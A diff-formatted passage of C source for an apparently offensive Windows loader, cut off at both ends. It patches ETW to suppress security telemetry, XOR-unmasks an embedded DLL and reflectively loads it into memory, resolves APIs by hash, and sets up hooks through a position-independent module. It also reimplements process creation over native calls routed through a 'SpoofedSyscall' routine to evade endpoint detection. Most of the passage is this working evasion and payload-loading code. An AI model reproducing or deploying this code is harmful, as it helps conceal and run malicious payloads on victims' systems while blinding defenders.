{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
SIZE_T sCodeSize = PicoCodeSize(picoSrc);
|
||||
SIZE_T sDataSize = PicoDataSize(picoSrc);
|
||||
|
||||
if (sCodeSize == 0 || sDataSize == 0)
|
||||
{
|
||||
ERROR_MSG("Invalid PICO section size");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
char *picoCode = KERNEL32$VirtualAlloc(NULL, sCodeSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
|
||||
char *picoData = KERNEL32$VirtualAlloc(NULL, sDataSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
|
||||
|
||||
if (!picoCode || !picoData)
|
||||
{
|
||||
ERROR_MSG("Failed to allocate PICO memory");
|
||||
if (picoCode != NULL)
|
||||
{
|
||||
KERNEL32$VirtualFree(picoCode, 0, MEM_RELEASE);
|
||||
}
|
||||
if (picoData != NULL)
|
||||
{
|
||||
KERNEL32$VirtualFree(picoData, 0, MEM_RELEASE);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PicoLoad(&funcs, picoSrc, picoCode, picoData);
|
||||
|
||||
DWORD old = 0;
|
||||
if (!KERNEL32$VirtualProtect(picoCode, sCodeSize, PAGE_EXECUTE_READ, &old))
|
||||
{
|
||||
ERROR_MSG("VirtualProtect failed on PICO code section!");
|
||||
KERNEL32$VirtualFree(picoCode, 0, MEM_RELEASE);
|
||||
KERNEL32$VirtualFree(picoData, 0, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return picoCode;
|
||||
}
|
||||
|
||||
char *GetEntryPoint()
|
||||
{
|
||||
return (char *)go;
|
||||
}
|
||||
|
||||
// Entry Point
|
||||
void go()
|
||||
{
|
||||
INFO_MSG("=== STARTED LOADER ===");
|
||||
|
||||
// Populate functions
|
||||
IMPORTFUNCS funcs;
|
||||
funcs.GetProcAddress = GetProcAddress;
|
||||
funcs.LoadLibraryA = LoadLibraryA;
|
||||
|
||||
// Patch ETW
|
||||
if (!patchEtw())
|
||||
{
|
||||
WARN_MSG("ETW patch step failed");
|
||||
}
|
||||
|
||||
INFO_MSG("Loading PICO");
|
||||
char *picoSrc = (char *)GETRESOURCE(_PICO_);
|
||||
char *picoDst = LoadPico(picoSrc, funcs);
|
||||
if (picoDst == NULL)
|
||||
{
|
||||
ERROR_MSG("Failed to load PICO");
|
||||
return;
|
||||
}
|
||||
|
||||
INFO_MSG("Resolving and calling SetupHooks function from PICO");
|
||||
PICOFUNC_SETUP_HOOKS SetupHooks = (SETUP_HOOKS)(void *)PicoGetExport(picoSrc, picoDst, __tag_SetupHooks());
|
||||
if (SetupHooks == NULL)
|
||||
{
|
||||
ERROR_MSG("SetupHooks not found in PICO");
|
||||
return;
|
||||
}
|
||||
SetupHooks(&funcs);
|
||||
|
||||
INFO_MSG("Resolving SetupMemory function from PICO");
|
||||
PICOFUNC_SETUP_MEMORY SetupMemory =
|
||||
(PICOFUNC_SETUP_MEMORY)(void *)PicoGetExport(picoSrc, picoDst, __tag_SetupMemory());
|
||||
if (SetupMemory == NULL)
|
||||
{
|
||||
ERROR_MSG("SetupMemory not found in PICO");
|
||||
return;
|
||||
}
|
||||
|
||||
INFO_MSG("Resolving FreeLoader function from PICO");
|
||||
PICOFUNC_FREE_LOADER FreeLoader =
|
||||
(PICOFUNC_FREE_LOADER)(void *)PicoGetExport(picoSrc, picoDst, __tag_FreeLoader());
|
||||
|
||||
if (FreeLoader == NULL)
|
||||
{
|
||||
ERROR_MSG("FreeLoader not found in PICO");
|
||||
return;
|
||||
}
|
||||
|
||||
// Get appended DLL and XOR Key
|
||||
RESOURCE *maskedDll = GETRESOURCE(_DLL_);
|
||||
RESOURCE *maskKey = GETRESOURCE(_MASK_);
|
||||
|
||||
if (maskedDll == NULL || maskKey == NULL ||
|
||||
maskedDll->len <= 0 || maskKey->len <= 0)
|
||||
{
|
||||
ERROR_MSG("Invalid embedded DLL or mask resource");
|
||||
return;
|
||||
}
|
||||
|
||||
INFO_MSG("Unmasking DLL");
|
||||
XORData(maskedDll->value, maskedDll->len, maskKey->value, maskKey->len);
|
||||
char *dllSrc = maskedDll->value;
|
||||
|
||||
if (!IsValidImage(dllSrc, maskedDll->len))
|
||||
{
|
||||
ERROR_MSG("Invalid DLL image");
|
||||
return;
|
||||
}
|
||||
|
||||
// Parse DLL Headers
|
||||
DLLDATA dllData = {0};
|
||||
ParseDLL(dllSrc, &dllData);
|
||||
DWORD dllSize = SizeOfDLL(&dllData);
|
||||
if (dllSize == 0)
|
||||
{
|
||||
ERROR_MSG("Invalid DLL size");
|
||||
return;
|
||||
}
|
||||
|
||||
INFO_MSG("Allocating memory for DLL");
|
||||
char *dllDst = KERNEL32$VirtualAlloc(NULL, dllSize,
|
||||
MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
|
||||
|
||||
if (dllDst == NULL)
|
||||
{
|
||||
ERROR_MSG("VirtualAlloc failed for DLL");
|
||||
return;
|
||||
}
|
||||
|
||||
INFO_MSG("Loading DLL into memory");
|
||||
LoadDLL(&dllData, dllSrc, dllDst);
|
||||
|
||||
INFO_MSG("Processing DLL imports");
|
||||
ProcessImports(&funcs, &dllData, dllDst);
|
||||
|
||||
// Track DLL memory
|
||||
MEMORY_LAYOUT memory = {0};
|
||||
memory.Dll.BaseAddress = (PVOID)dllDst;
|
||||
memory.Dll.Size = dllSize;
|
||||
|
||||
INFO_MSG("Setting up DLL section permissions");
|
||||
if (!SetupSectionPermissions(&dllData, dllDst, &memory.Dll))
|
||||
{
|
||||
ERROR_MSG("Failed to set DLL section permissions");
|
||||
KERNEL32$VirtualFree(dllDst, 0, MEM_RELEASE);
|
||||
return;
|
||||
}
|
||||
// Pass memory to PICO
|
||||
SetupMemory(&memory);
|
||||
|
||||
// Get DLL entry point
|
||||
DLLMAIN_FUNC dll_entry_point = EntryPoint(&dllData, dllDst);
|
||||
if (dll_entry_point == NULL)
|
||||
{
|
||||
ERROR_MSG("DLL entry point not found");
|
||||
KERNEL32$VirtualFree(dllDst, 0, MEM_RELEASE);
|
||||
return;
|
||||
}
|
||||
|
||||
INFO_MSG("Calling FreeLoader from PICO:");
|
||||
INFO_MSG("\tloader: %p", GetEntryPoint());
|
||||
INFO_MSG("\tdll_base: %p", dllDst);
|
||||
INFO_MSG("\tdll_entry: %p", dll_entry_point);
|
||||
|
||||
FreeLoader(GetEntryPoint(), dll_entry_point, dllDst);
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
#include <windows.h>
|
||||
#include "evasion/patch.h"
|
||||
#include "include/memory.h"
|
||||
#include "utils/utils.h"
|
||||
#include "utils/debug.h"
|
||||
|
||||
#define GETRESOURCE(x) ((RESOURCE *)((char *)&x))
|
||||
|
||||
typedef struct
|
||||
{
|
||||
int len;
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
WINBASEAPI WINBOOL WINAPI KERNEL32$VirtualFree(LPVOID, SIZE_T, DWORD);
|
||||
|
||||
typedef void (*SETUP_HOOKS)(IMPORTFUNCS *funcs);
|
||||
|
||||
// Appended DLL
|
||||
char _DLL_[0] __attribute__((section("dll")));
|
||||
|
||||
// XOR Key
|
||||
char _MASK_[0] __attribute__((section("mask")));
|
||||
|
||||
// PICO
|
||||
char _PICO_[0] __attribute__((section("pico")));
|
||||
|
||||
// PICO Functions Tags
|
||||
int __tag_FreeLoader();
|
||||
int __tag_SetupHooks();
|
||||
int __tag_SetupMemory();
|
||||
|
||||
// PICO Spec
|
||||
typedef void (*PICOFUNC_FREE_LOADER)(char *loader, DLLMAIN_FUNC dllEntry, char *dllBase);
|
||||
typedef void (*PICOFUNC_SETUP_HOOKS)(IMPORTFUNCS *funcs);
|
||||
typedef void (*PICOFUNC_SETUP_MEMORY)(MEMORY_LAYOUT *memory);
|
||||
|
||||
// Loader Entry Point
|
||||
void go();
|
||||
@@ -0,0 +1,11 @@
|
||||
#include <windows.h>
|
||||
#include "include/tcg.h"
|
||||
|
||||
/*
|
||||
* This is our opt-in Dynamic Function Resolution resolver. It turns MODULE$Function into pointers.
|
||||
* See dfr "resolve" "ror13" in loader.spec
|
||||
*/
|
||||
FARPROC resolve(DWORD modHash, DWORD funcHash) {
|
||||
HANDLE hModule = findModuleByHash(modHash);
|
||||
return findFunctionByHash(hModule, funcHash);
|
||||
}
|
||||
@@ -0,0 +1,887 @@
|
||||
#include "create_process.h"
|
||||
|
||||
static void ZeroProcessInformation(LPPROCESS_INFORMATION pi)
|
||||
{
|
||||
if (pi != NULL)
|
||||
{
|
||||
pi->hProcess = NULL;
|
||||
pi->hThread = NULL;
|
||||
pi->dwProcessId = 0;
|
||||
pi->dwThreadId = 0;
|
||||
}
|
||||
}
|
||||
|
||||
static PVOID AllocBytes(SIZE_T size)
|
||||
{
|
||||
if (size == 0)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return KERNEL32$VirtualAlloc(NULL, size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
}
|
||||
|
||||
static void FreeBytes(PVOID ptr)
|
||||
{
|
||||
if (ptr != NULL)
|
||||
{
|
||||
KERNEL32$VirtualFree(ptr, 0, MEM_RELEASE);
|
||||
}
|
||||
}
|
||||
|
||||
static SIZE_T StringLengthA(LPCSTR str)
|
||||
{
|
||||
SIZE_T len = 0;
|
||||
|
||||
if (str == NULL)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
while (str[len] != '\0')
|
||||
{
|
||||
len++;
|
||||
}
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
static SIZE_T StringLengthW(LPCWSTR str)
|
||||
{
|
||||
SIZE_T len = 0;
|
||||
|
||||
if (str == NULL)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
while (str[len] != L'\0')
|
||||
{
|
||||
len++;
|
||||
}
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
static BOOL IsSpaceA(char ch)
|
||||
{
|
||||
return ch == ' ' || ch == '\t' || ch == '\r' || ch == '\n' || ch == '\v' || ch == '\f';
|
||||
}
|
||||
|
||||
static BOOL HasDirectoryComponentA(LPCSTR str)
|
||||
{
|
||||
SIZE_T i = 0;
|
||||
|
||||
if (str == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
while (str[i] != '\0')
|
||||
{
|
||||
if (str[i] == '\\' || str[i] == '/' || str[i] == ':')
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
i++;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
static BOOL HasExtensionA(LPCSTR str)
|
||||
{
|
||||
SIZE_T i = 0;
|
||||
SIZE_T lastDot = (SIZE_T)-1;
|
||||
SIZE_T lastSlash = (SIZE_T)-1;
|
||||
|
||||
if (str == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
while (str[i] != '\0')
|
||||
{
|
||||
if (str[i] == '.')
|
||||
{
|
||||
lastDot = i;
|
||||
}
|
||||
else if (str[i] == '\\' || str[i] == '/')
|
||||
{
|
||||
lastSlash = i;
|
||||
}
|
||||
|
||||
i++;
|
||||
}
|
||||
|
||||
return lastDot != (SIZE_T)-1 && lastDot > lastSlash;
|
||||
}
|
||||
|
||||
static void InitUnicodeStringFromWide(PUNICODE_STRING string, PWSTR buffer)
|
||||
{
|
||||
SIZE_T chars = StringLengthW(buffer);
|
||||
SIZE_T bytes = chars * sizeof(WCHAR);
|
||||
|
||||
string->Buffer = buffer;
|
||||
string->Length = (USHORT)bytes;
|
||||
string->MaximumLength = (USHORT)(bytes + sizeof(WCHAR));
|
||||
}
|
||||
|
||||
static LPWSTR ConvertAnsiToWide(LPCSTR input)
|
||||
{
|
||||
int needed = 0;
|
||||
LPWSTR buffer = NULL;
|
||||
|
||||
if (input == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
needed = KERNEL32$MultiByteToWideChar(CP_ACP, 0, input, -1, NULL, 0);
|
||||
if (needed <= 0)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
buffer = (LPWSTR)AllocBytes((SIZE_T)needed * sizeof(WCHAR));
|
||||
if (buffer == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (KERNEL32$MultiByteToWideChar(CP_ACP, 0, input, -1, buffer, needed) != needed)
|
||||
{
|
||||
FreeBytes(buffer);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return buffer;
|
||||
}
|
||||
|
||||
static LPSTR DuplicateAnsiRange(LPCSTR start, SIZE_T length)
|
||||
{
|
||||
LPSTR buffer = (LPSTR)AllocBytes(length + 1);
|
||||
SIZE_T i = 0;
|
||||
|
||||
if (buffer == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
while (i < length)
|
||||
{
|
||||
buffer[i] = start[i];
|
||||
i++;
|
||||
}
|
||||
|
||||
buffer[length] = '\0';
|
||||
return buffer;
|
||||
}
|
||||
|
||||
static LPSTR BuildQuotedCommandLineA(LPCSTR imagePath)
|
||||
{
|
||||
SIZE_T length = StringLengthA(imagePath);
|
||||
LPSTR buffer = NULL;
|
||||
SIZE_T i = 0;
|
||||
|
||||
if (imagePath == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
buffer = (LPSTR)AllocBytes(length + 3);
|
||||
if (buffer == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
buffer[0] = '"';
|
||||
while (i < length)
|
||||
{
|
||||
buffer[i + 1] = imagePath[i];
|
||||
i++;
|
||||
}
|
||||
buffer[length + 1] = '"';
|
||||
buffer[length + 2] = '\0';
|
||||
return buffer;
|
||||
}
|
||||
|
||||
static LPSTR ExtractExecutableTokenA(LPCSTR commandLine)
|
||||
{
|
||||
LPCSTR start = NULL;
|
||||
LPCSTR end = NULL;
|
||||
|
||||
if (commandLine == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
while (*commandLine != '\0' && IsSpaceA(*commandLine))
|
||||
{
|
||||
commandLine++;
|
||||
}
|
||||
|
||||
if (*commandLine == '\0')
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (*commandLine == '"')
|
||||
{
|
||||
commandLine++;
|
||||
start = commandLine;
|
||||
|
||||
while (*commandLine != '\0' && *commandLine != '"')
|
||||
{
|
||||
commandLine++;
|
||||
}
|
||||
|
||||
end = commandLine;
|
||||
}
|
||||
else
|
||||
{
|
||||
start = commandLine;
|
||||
|
||||
while (*commandLine != '\0' && !IsSpaceA(*commandLine))
|
||||
{
|
||||
commandLine++;
|
||||
}
|
||||
|
||||
end = commandLine;
|
||||
}
|
||||
|
||||
if (end <= start)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return DuplicateAnsiRange(start, (SIZE_T)(end - start));
|
||||
}
|
||||
|
||||
static LPSTR NormalizeDosPathA(LPCSTR path)
|
||||
{
|
||||
DWORD needed = 0;
|
||||
LPSTR buffer = NULL;
|
||||
|
||||
if (path == NULL || path[0] == '\0')
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
needed = KERNEL32$GetFullPathNameA(path, 0, NULL, NULL);
|
||||
if (needed == 0)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
buffer = (LPSTR)AllocBytes((SIZE_T)needed + 1);
|
||||
if (buffer == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (KERNEL32$GetFullPathNameA(path, needed + 1, buffer, NULL) == 0)
|
||||
{
|
||||
FreeBytes(buffer);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return buffer;
|
||||
}
|
||||
|
||||
static LPSTR SearchExecutablePathA(LPCSTR path)
|
||||
{
|
||||
LPCSTR extension = HasExtensionA(path) ? NULL : ".exe";
|
||||
DWORD needed = KERNEL32$SearchPathA(NULL, path, extension, 0, NULL, NULL);
|
||||
LPSTR buffer = NULL;
|
||||
|
||||
if (needed == 0)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
buffer = (LPSTR)AllocBytes((SIZE_T)needed + 1);
|
||||
if (buffer == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (KERNEL32$SearchPathA(NULL, path, extension, needed + 1, buffer, NULL) == 0)
|
||||
{
|
||||
FreeBytes(buffer);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return buffer;
|
||||
}
|
||||
|
||||
static LPSTR ResolveImagePathA(LPCSTR applicationName, LPCSTR commandLine)
|
||||
{
|
||||
LPCSTR source = applicationName;
|
||||
LPSTR token = NULL;
|
||||
LPSTR resolved = NULL;
|
||||
|
||||
// Mirror CreateProcessA's common case: when no application name is provided,
|
||||
// derive the image from the first token of the command line.
|
||||
if (source == NULL || source[0] == '\0')
|
||||
{
|
||||
token = ExtractExecutableTokenA(commandLine);
|
||||
source = token;
|
||||
}
|
||||
|
||||
if (source == NULL || source[0] == '\0')
|
||||
{
|
||||
FreeBytes(token);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (HasDirectoryComponentA(source))
|
||||
{
|
||||
resolved = NormalizeDosPathA(source);
|
||||
}
|
||||
else
|
||||
{
|
||||
resolved = SearchExecutablePathA(source);
|
||||
if (resolved == NULL)
|
||||
{
|
||||
resolved = NormalizeDosPathA(source);
|
||||
}
|
||||
}
|
||||
|
||||
FreeBytes(token);
|
||||
return resolved;
|
||||
}
|
||||
|
||||
static SIZE_T MeasureAnsiEnvironmentBytes(LPCSTR environment)
|
||||
{
|
||||
const char *cursor = environment;
|
||||
|
||||
if (environment == NULL)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
while (!(cursor[0] == '\0' && cursor[1] == '\0'))
|
||||
{
|
||||
cursor++;
|
||||
}
|
||||
|
||||
return (SIZE_T)(cursor - environment) + 2;
|
||||
}
|
||||
|
||||
static LPVOID PrepareEnvironmentBlock(LPVOID environment, DWORD creationFlags, BOOL *allocated)
|
||||
{
|
||||
SIZE_T bytes = 0;
|
||||
int needed = 0;
|
||||
LPWSTR wideEnvironment = NULL;
|
||||
|
||||
*allocated = FALSE;
|
||||
|
||||
if (environment == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// NtCreateUserProcess consumes a wide-char environment block.
|
||||
if ((creationFlags & CREATE_UNICODE_ENVIRONMENT) != 0)
|
||||
{
|
||||
return environment;
|
||||
}
|
||||
|
||||
bytes = MeasureAnsiEnvironmentBytes((LPCSTR)environment);
|
||||
if (bytes == 0)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
needed = KERNEL32$MultiByteToWideChar(CP_ACP, 0, (LPCSTR)environment, (int)bytes, NULL, 0);
|
||||
if (needed <= 0)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
wideEnvironment = (LPWSTR)AllocBytes((SIZE_T)needed * sizeof(WCHAR));
|
||||
if (wideEnvironment == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (KERNEL32$MultiByteToWideChar(CP_ACP, 0, (LPCSTR)environment, (int)bytes, wideEnvironment, needed) != needed)
|
||||
{
|
||||
FreeBytes(wideEnvironment);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
*allocated = TRUE;
|
||||
return wideEnvironment;
|
||||
}
|
||||
|
||||
static DWORD MapPriorityClassValue(DWORD creationFlags)
|
||||
{
|
||||
DWORD priorityFlags = creationFlags & CREATE_PROCESS_PRIORITY_FLAGS;
|
||||
|
||||
if (priorityFlags == 0 || priorityFlags == NORMAL_PRIORITY_CLASS)
|
||||
{
|
||||
return PROCESS_PRIORITY_CLASS_NORMAL;
|
||||
}
|
||||
|
||||
if (priorityFlags == IDLE_PRIORITY_CLASS)
|
||||
{
|
||||
return PROCESS_PRIORITY_CLASS_IDLE;
|
||||
}
|
||||
|
||||
if (priorityFlags == HIGH_PRIORITY_CLASS)
|
||||
{
|
||||
return PROCESS_PRIORITY_CLASS_HIGH;
|
||||
}
|
||||
|
||||
if (priorityFlags == REALTIME_PRIORITY_CLASS)
|
||||
{
|
||||
return PROCESS_PRIORITY_CLASS_REALTIME;
|
||||
}
|
||||
|
||||
if (priorityFlags == BELOW_NORMAL_PRIORITY_CLASS)
|
||||
{
|
||||
return PROCESS_PRIORITY_CLASS_BELOW_NORMAL;
|
||||
}
|
||||
|
||||
if (priorityFlags == ABOVE_NORMAL_PRIORITY_CLASS)
|
||||
{
|
||||
return PROCESS_PRIORITY_CLASS_ABOVE_NORMAL;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static BOOL InitSecurityObjectAttributes(POBJECT_ATTRIBUTES attributes, LPSECURITY_ATTRIBUTES securityAttributes)
|
||||
{
|
||||
if (securityAttributes == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (securityAttributes->nLength < sizeof(SECURITY_ATTRIBUTES))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
InitializeObjectAttributes(attributes, NULL, securityAttributes->bInheritHandle ? OBJ_INHERIT : 0, NULL, securityAttributes->lpSecurityDescriptor);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL CloseNativeHandle(HANDLE handle)
|
||||
{
|
||||
SYSCALL_ARG args[1] = {
|
||||
(SYSCALL_ARG)handle};
|
||||
|
||||
if (handle == NULL || handle == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return NT_SUCCESS(SpoofedSyscall(NTCLOSE_HASH, args));
|
||||
}
|
||||
|
||||
static void DestroyCreatedProcess(HANDLE processHandle, HANDLE threadHandle)
|
||||
{
|
||||
if (threadHandle != NULL && threadHandle != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
CloseNativeHandle(threadHandle);
|
||||
}
|
||||
|
||||
if (processHandle != NULL && processHandle != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
SYSCALL_ARG terminateArgs[2] = {
|
||||
(SYSCALL_ARG)processHandle,
|
||||
(SYSCALL_ARG)STATUS_UNSUCCESSFUL};
|
||||
|
||||
SpoofedSyscall(NTTERMINATEPROCESS_HASH, terminateArgs);
|
||||
CloseNativeHandle(processHandle);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL CreateProcessInternalA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
|
||||
{
|
||||
DWORD startupFlags = 0;
|
||||
DWORD unsupportedFlags = 0;
|
||||
DWORD priorityClass = 0;
|
||||
BOOL environmentAllocated = FALSE;
|
||||
BOOL hasProcessAttributes = FALSE;
|
||||
BOOL hasThreadAttributes = FALSE;
|
||||
BOOL success = FALSE;
|
||||
LPSTR resolvedImagePathA = NULL;
|
||||
LPSTR synthesizedCommandLineA = NULL;
|
||||
LPWSTR imagePathW = NULL;
|
||||
LPWSTR commandLineW = NULL;
|
||||
LPWSTR currentDirectoryW = NULL;
|
||||
LPWSTR desktopW = NULL;
|
||||
LPWSTR titleW = NULL;
|
||||
LPVOID environmentBlock = NULL;
|
||||
HANDLE processHandle = NULL;
|
||||
HANDLE threadHandle = NULL;
|
||||
DWORD processId = 0;
|
||||
DWORD threadId = 0;
|
||||
UNICODE_STRING imagePath = {0};
|
||||
UNICODE_STRING commandLine = {0};
|
||||
UNICODE_STRING currentDirectory = {0};
|
||||
UNICODE_STRING desktop = {0};
|
||||
UNICODE_STRING title = {0};
|
||||
UNICODE_STRING ntImagePath = {0};
|
||||
OBJECT_ATTRIBUTES processObjectAttributes = {0};
|
||||
OBJECT_ATTRIBUTES threadObjectAttributes = {0};
|
||||
PS_CREATE_INFO_LOCAL createInfo = {0};
|
||||
PS_ATTRIBUTE_LIST_LOCAL attributeList = {0};
|
||||
ULONG attributeCount = 0;
|
||||
PRTL_USER_PROCESS_PARAMETERS processParameters = NULL;
|
||||
RTL_USER_PROCESS_PARAMETERS_EXTENDED_LOCAL *parametersEx = NULL;
|
||||
|
||||
// Match CreateProcessA-style caller expectations: the output structure is
|
||||
// always cleared before we start mutating state.
|
||||
ZeroProcessInformation(lpProcessInformation);
|
||||
|
||||
// Keep the supported contract narrow and explicit. Anything outside the
|
||||
// implemented subset returns FALSE before native state is created.
|
||||
if (lpProcessInformation == NULL || lpStartupInfo == NULL)
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA rejected invalid parameters");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (lpStartupInfo->cb < sizeof(STARTUPINFOA))
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA rejected STARTUPINFOA with invalid cb");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ((lpApplicationName == NULL || lpApplicationName[0] == '\0') && (lpCommandLine == NULL || lpCommandLine[0] == '\0'))
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA rejected missing application and command line");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
unsupportedFlags = dwCreationFlags & ~CREATE_PROCESS_ALLOWED_FLAGS;
|
||||
if (unsupportedFlags != 0)
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA rejected unsupported creation flags 0x%08X", unsupportedFlags);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ((dwCreationFlags & CREATE_NEW_CONSOLE) != 0 && (dwCreationFlags & DETACHED_PROCESS) != 0)
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA rejected mutually exclusive console flags");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
startupFlags = lpStartupInfo->dwFlags;
|
||||
if ((startupFlags & ~STARTUPINFO_ALLOWED_FLAGS) != 0 || lpStartupInfo->lpReserved != NULL || lpStartupInfo->lpReserved2 != NULL || lpStartupInfo->cbReserved2 != 0)
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA rejected unsupported STARTUPINFOA fields");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// v1 only forwards std handles when CreateProcessA's inheritance contract
|
||||
// is satisfied by the caller.
|
||||
if ((startupFlags & STARTF_USESTDHANDLES) != 0)
|
||||
{
|
||||
if (!bInheritHandles)
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA rejected std handles without handle inheritance");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (lpStartupInfo->hStdInput == NULL || lpStartupInfo->hStdInput == INVALID_HANDLE_VALUE ||
|
||||
lpStartupInfo->hStdOutput == NULL || lpStartupInfo->hStdOutput == INVALID_HANDLE_VALUE ||
|
||||
lpStartupInfo->hStdError == NULL || lpStartupInfo->hStdError == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA rejected invalid std handles");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (lpProcessAttributes != NULL && lpProcessAttributes->nLength < sizeof(SECURITY_ATTRIBUTES))
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA rejected invalid process security attributes");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (lpThreadAttributes != NULL && lpThreadAttributes->nLength < sizeof(SECURITY_ATTRIBUTES))
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA rejected invalid thread security attributes");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
priorityClass = MapPriorityClassValue(dwCreationFlags);
|
||||
if (priorityClass == 0)
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA rejected unsupported priority class flags");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
resolvedImagePathA = ResolveImagePathA(lpApplicationName, lpCommandLine);
|
||||
if (resolvedImagePathA == NULL)
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA failed to resolve image path");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
synthesizedCommandLineA = (lpCommandLine != NULL) ? NULL : BuildQuotedCommandLineA(resolvedImagePathA);
|
||||
if (lpCommandLine == NULL && synthesizedCommandLineA == NULL)
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA failed to allocate synthesized command line");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
imagePathW = ConvertAnsiToWide(resolvedImagePathA);
|
||||
commandLineW = ConvertAnsiToWide(lpCommandLine != NULL ? lpCommandLine : synthesizedCommandLineA);
|
||||
if (imagePathW == NULL || commandLineW == NULL)
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA failed to convert image or command line to wide chars");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
if (lpCurrentDirectory != NULL)
|
||||
{
|
||||
currentDirectoryW = ConvertAnsiToWide(lpCurrentDirectory);
|
||||
if (currentDirectoryW == NULL)
|
||||
{
|
||||
WARN_MSG("\t\tCreateProcessInternalA failed to convert current directory to wide chars");
|
||||
goto cleanup;
|
||||
}
|
||||
}
|
||||
|
||||
if (lpStartupInfo->lpDesktop != NULL)
|
||||
{
|
||||
desktopW = ConvertAnsiToWide(lpStartupInfo->lpDesktop);
|
||||
if (desktopW == NULL)
|
